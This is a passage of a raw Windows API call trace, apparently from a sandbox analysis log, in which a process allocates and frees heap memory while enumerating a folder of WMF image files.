Size=0x80) returned 0xa75238 [0073.431] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa75238) returned 1 [0073.431] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa75238 [0073.431] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa75238) returned 1 [0073.431] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa75238 [0073.431] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa62ff0 [0073.431] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa91130 [0073.431] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa75238) returned 1 [0073.431] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc36d6a00, ftCreationTime.dwHighDateTime=0x1be2705, ftLastAccessTime.dwLowDateTime=0xbd4a0b80, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xc36d6a00, ftLastWriteTime.dwHighDateTime=0x1be2705, nFileSizeHigh=0x0, nFileSizeLow=0x31da, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0195384.WMF", cAlternateFileName="")) returned 1 [0073.431] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa75238 [0073.431] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa75238) returned 1 [0073.431] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa75238 [0073.432] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa75238) returned 1 [0073.432] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa75238 [0073.432] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa63010 [0073.432] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa911b8 [0073.432] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa75238) returned 1 [0073.432] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfa438000, ftCreationTime.dwHighDateTime=0x1be2705, ftLastAccessTime.dwLowDateTime=0xbd4a0b80, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xfa438000, ftLastWriteTime.dwHighDateTime=0x1be2705, nFileSizeHigh=0x0, nFileSizeLow=0x275c, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0195534.WMF", cAlternateFileName="")) returned 1 [0073.432] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa75238 [0073.432] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa75238) returned 1 [0073.432] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa75238 [0073.432] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa75238) returned 1 [0073.432] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa75238 [0073.432] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa63030 [0073.432] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa91240 [0073.432] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa75238) returned 1 [0073.432] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x455d9300, ftCreationTime.dwHighDateTime=0x1be2706, ftLastAccessTime.dwLowDateTime=0xbd4a0b80, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x455d9300, ftLastWriteTime.dwHighDateTime=0x1be2706, nFileSizeHigh=0x0, nFileSizeLow=0xfca, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0195812.WMF", cAlternateFileName="")) returned 1 [0073.432] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa75238 [0073.432] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa75238) returned 1 [0073.432] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa75238 [0073.432] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa75238) returned 1 [0073.432] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa75238 [0073.432] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa63050 [0073.432] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa912c8 [0073.433] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x2dc0) returned 0xa88478 [0073.433] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa8dec8) returned 1 [0073.433] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa75238) returned 1 [0073.433] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9ec5c200, ftCreationTime.dwHighDateTime=0x1be2706, ftLastAccessTime.dwLowDateTime=0xbd4a0b80, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x9ec5c200, ftLastWriteTime.dwHighDateTime=0x1be2706, nFileSizeHigh=0x0, nFileSizeLow=0x7b2, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0196164.WMF", cAlternateFileName="")) returned 1 [0073.433] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa75238 [0073.433] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa75238) returned 1 [0073.433] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa75238 [0073.433] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa75238) returned 1 [0073.433] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa75238 [0073.433] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa63070 [0073.433] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa91350 [0073.433] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa75238) returned 1 [0073.433] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x81ec6b00, ftCreationTime.dwHighDateTime=0x1be390f, ftLastAccessTime.dwLowDateTime=0xbd4a0b80, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x81ec6b00, ftLastWriteTime.dwHighDateTime=0x1be390f, nFileSizeHigh=0x0, nFileSizeLow=0x1216, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0196374.WMF", cAlternateFileName="")) returned 1 [0073.433] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa75238 [0073.433] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa75238) returned 1 [0073.433] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa75238 [0073.433] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa75238) returned 1 [0073.433] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa75238 [0073.433] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa63090 [0073.433] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa913d8 [0073.434] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa75238) returned 1 [0073.434] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x929ce100, ftCreationTime.dwHighDateTime=0x1be390f, ftLastAccessTime.dwLowDateTime=0xbd4c6ce0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x929ce100, ftLastWriteTime.dwHighDateTime=0x1be390f, nFileSizeHigh=0x0, nFileSizeLow=0x8cbe, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0196400.WMF", cAlternateFileName="")) returned 1 [0073.434] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa75238 [0073.434] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa75238) returned 1 [0073.434] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa75238 [0073.434] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa75238) returned 1 [0073.434] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa75238 [0073.434] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa630b0 [0073.434] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa91460 [0073.434] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa75238) returned 1 [0073.434] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x91fc00, ftCreationTime.dwHighDateTime=0x1bdf0c6, ftLastAccessTime.dwLowDateTime=0xbd4c6ce0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x91fc00, ftLastWriteTime.dwHighDateTime=0x1bdf0c6, nFileSizeHigh=0x0, nFileSizeLow=0x2518, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0199036.WMF", cAlternateFileName="")) returned 1 [0073.434] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa75238 [0073.434] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa75238) returned 1 [0073.434] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa75238 [0073.435] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa75238) returned 1 [0073.435] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa75238 [0073.435] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa630d0 [0073.435] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa914e8 [0073.435] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa75238) returned 1 [0073.435] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xebd55500, ftCreationTime.dwHighDateTime=0x1be05ec, ftLastAccessTime.dwLowDateTime=0xbd4c6ce0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xebd55500, ftLastWriteTime.dwHighDateTime=0x1be05ec, nFileSizeHigh=0x0, nFileSizeLow=0x8ec4, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0199283.WMF", cAlternateFileName="")) returned 1 [0073.435] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa75238 [0073.435] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa75238) returned 1 [0073.435] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa75238 [0073.435] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa75238) returned 1 [0073.435] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa75238 [0073.435] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa630f0 [0073.435] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa91570 [0073.435] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa75238) returned 1 [0073.435] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x54b53500, ftCreationTime.dwHighDateTime=0x1be3e9a, ftLastAccessTime.dwLowDateTime=0xbd4c6ce0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x54b53500, ftLastWriteTime.dwHighDateTime=0x1be3e9a, nFileSizeHigh=0x0, nFileSizeLow=0xf5e, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0199549.WMF", cAlternateFileName="")) returned 1 [0073.435] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa75238 [0073.435] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa75238) returned 1 [0073.435] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa75238 [0073.435] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa75238) returned 1 [0073.435] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa75238 [0073.435] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa63110 [0073.436] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa915f8 [0073.436] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa75238) returned 1 [0073.436] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8b8b4b00, ftCreationTime.dwHighDateTime=0x1be3e9a, ftLastAccessTime.dwLowDateTime=0xbd4c6ce0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x8b8b4b00, ftLastWriteTime.dwHighDateTime=0x1be3e9a, nFileSizeHigh=0x0, nFileSizeLow=0x341e, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0199661.WMF", cAlternateFileName="")) returned 1 [0073.436] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa75238 [0073.436] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa75238) returned 1 [0073.436] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa75238 [0073.436] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa75238) returned 1 [0073.436] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa75238 [0073.436] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa63130 [0073.436] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa91680 [0073.436] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa75238) returned 1 [0073.436] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb1b0eb00, ftCreationTime.dwHighDateTime=0x1be3e9a, ftLastAccessTime.dwLowDateTime=0xbd4c6ce0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xb1b0eb00, ftLastWriteTime.dwHighDateTime=0x1be3e9a, nFileSizeHigh=0x0, nFileSizeLow=0x900, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0199727.WMF", cAlternateFileName="")) returned 1 [0073.436] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa75238 [0073.436] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa75238) returned 1 [0073.436] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa75238 [0073.436] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa75238) returned 1 [0073.436] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa75238 [0073.436] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa63150 [0073.436] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa91708 [0073.436] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa75238) returned 1 [0073.436] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbc6b8000, ftCreationTime.dwHighDateTime=0x1be3e9a, ftLastAccessTime.dwLowDateTime=0xbd4c6ce0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xbc6b8000, ftLastWriteTime.dwHighDateTime=0x1be3e9a, nFileSizeHigh=0x0, nFileSizeLow=0xaf0, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0199755.WMF", cAlternateFileName="")) returned 1 [0073.436] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa75238 [0073.437] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa75238) returned 1 [0073.437] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa75238 [0073.437] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa75238) returned 1 [0073.437] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa75238 [0073.437] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa63170 [0073.437] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa91790 [0073.437] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa75238) returned 1 [0073.437] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd311d700, ftCreationTime.dwHighDateTime=0x1be3e9a, ftLastAccessTime.dwLowDateTime=0xbd4ece40, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xd311d700, ftLastWriteTime.dwHighDateTime=0x1be3e9a, nFileSizeHigh=0x0, nFileSizeLow=0x948, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0199805.WMF", cAlternateFileName="")) returned 1 [0073.437] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa75238 [0073.437] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa75238) returned 1 [0073.437] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa75238 [0073.437] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa75238) returned 1 [0073.437] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa75238 [0073.437] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa63190 [0073.437] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa91818 [0073.437] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa75238) returned 1 [0073.437] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x85ccab00, ftCreationTime.dwHighDateTime=0x1be4d5e, ftLastAccessTime.dwLowDateTime=0xbd4ece40, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x85ccab00, ftLastWriteTime.dwHighDateTime=0x1be4d5e, nFileSizeHigh=0x0, nFileSizeLow=0x2398, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0205462.WMF", cAlternateFileName="")) returned 1 [0073.437] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa75238 [0073.437] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa75238) returned 1 [0073.437] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa75238 [0073.437] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa75238) returned 1 [0073.438] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa75238 [0073.438] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa631b0 [0073.438] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa918a0 [0073.438] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa75238) returned 1 [0073.438] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x89603200, ftCreationTime.dwHighDateTime=0x1be4d5e, ftLastAccessTime.dwLowDateTime=0xbd4ece40, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x89603200, ftLastWriteTime.dwHighDateTime=0x1be4d5e, nFileSizeHigh=0x0, nFileSizeLow=0x11e2, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0205466.WMF", cAlternateFileName="")) returned 1 [0073.438] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa75238 [0073.438] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa75238) returned 1 [0073.438] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa75238 [0073.438] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa75238) returned 1 [0073.438] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa75238 [0073.438] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa631d0 [0073.438] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa91928 [0073.438] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa75238) returned 1 [0073.438] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x14d9c300, ftCreationTime.dwHighDateTime=0x1be4d5f, ftLastAccessTime.dwLowDateTime=0xbd4ece40, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x14d9c300, ftLastWriteTime.dwHighDateTime=0x1be4d5f, nFileSizeHigh=0x0, nFileSizeLow=0x17f2, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0205582.WMF", cAlternateFileName="")) returned 1 [0073.438] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa75238 [0073.438] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa75238) returned 1 [0073.438] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa75238 [0073.438] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa75238) returned 1 [0073.438] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa75238 [0073.438] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa631f0 [0073.438] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa919b0 [0073.438] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa75238) returned 1 [0073.438] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e240a00, ftCreationTime.dwHighDateTime=0x1be560f, ftLastAccessTime.dwLowDateTime=0xbd4ece40, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x3e240a00, ftLastWriteTime.dwHighDateTime=0x1be560f, nFileSizeHigh=0x0, nFileSizeLow=0xb34e, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0211949.WMF", cAlternateFileName="")) returned 1 [0073.439] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa75238 [0073.439] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa75238) returned 1 [0073.439] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa75238 [0073.439] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa75238) returned 1 [0073.439] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa75238 [0073.439] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa63210 [0073.439] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa91a38 [0073.439] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa75238) returned 1 [0073.439] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x50527800, ftCreationTime.dwHighDateTime=0x1be5610, ftLastAccessTime.dwLowDateTime=0xbd4ece40, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x50527800, ftLastWriteTime.dwHighDateTime=0x1be5610, nFileSizeHigh=0x0, nFileSizeLow=0x11be, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0212219.WMF", cAlternateFileName="")) returned 1 [0073.439] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa75238 [0073.439] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa75238) returned 1 [0073.439] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa75238 [0073.439] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa75238) returned 1 [0073.439] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa75238 [0073.439] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa63230 [0073.439] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa91ac0 [0073.439] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa75238) returned 1 [0073.439] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x56952400, ftCreationTime.dwHighDateTime=0x1be5611, ftLastAccessTime.dwLowDateTime=0xbd4ece40, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x56952400, ftLastWriteTime.dwHighDateTime=0x1be5611, nFileSizeHigh=0x0, nFileSizeLow=0x248e, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0212661.WMF", cAlternateFileName="")) returned 1 [0073.439] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa75238 [0073.439] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa75238) returned 1 [0073.439] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa75238 [0073.440] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa75238) returned 1 [0073.440] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa75238 [0073.440] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa63250 [0073.440] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa91b48 [0073.440] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x2e00) returned 0xa8b240 [0073.440] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa88478) returned 1 [0073.440] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa75238) returned 1 [0073.440] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6e6ca800, ftCreationTime.dwHighDateTime=0x1be5611, ftLastAccessTime.dwLowDateTime=0xbd512fa0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x6e6ca800, ftLastWriteTime.dwHighDateTime=0x1be5611, nFileSizeHigh=0x0, 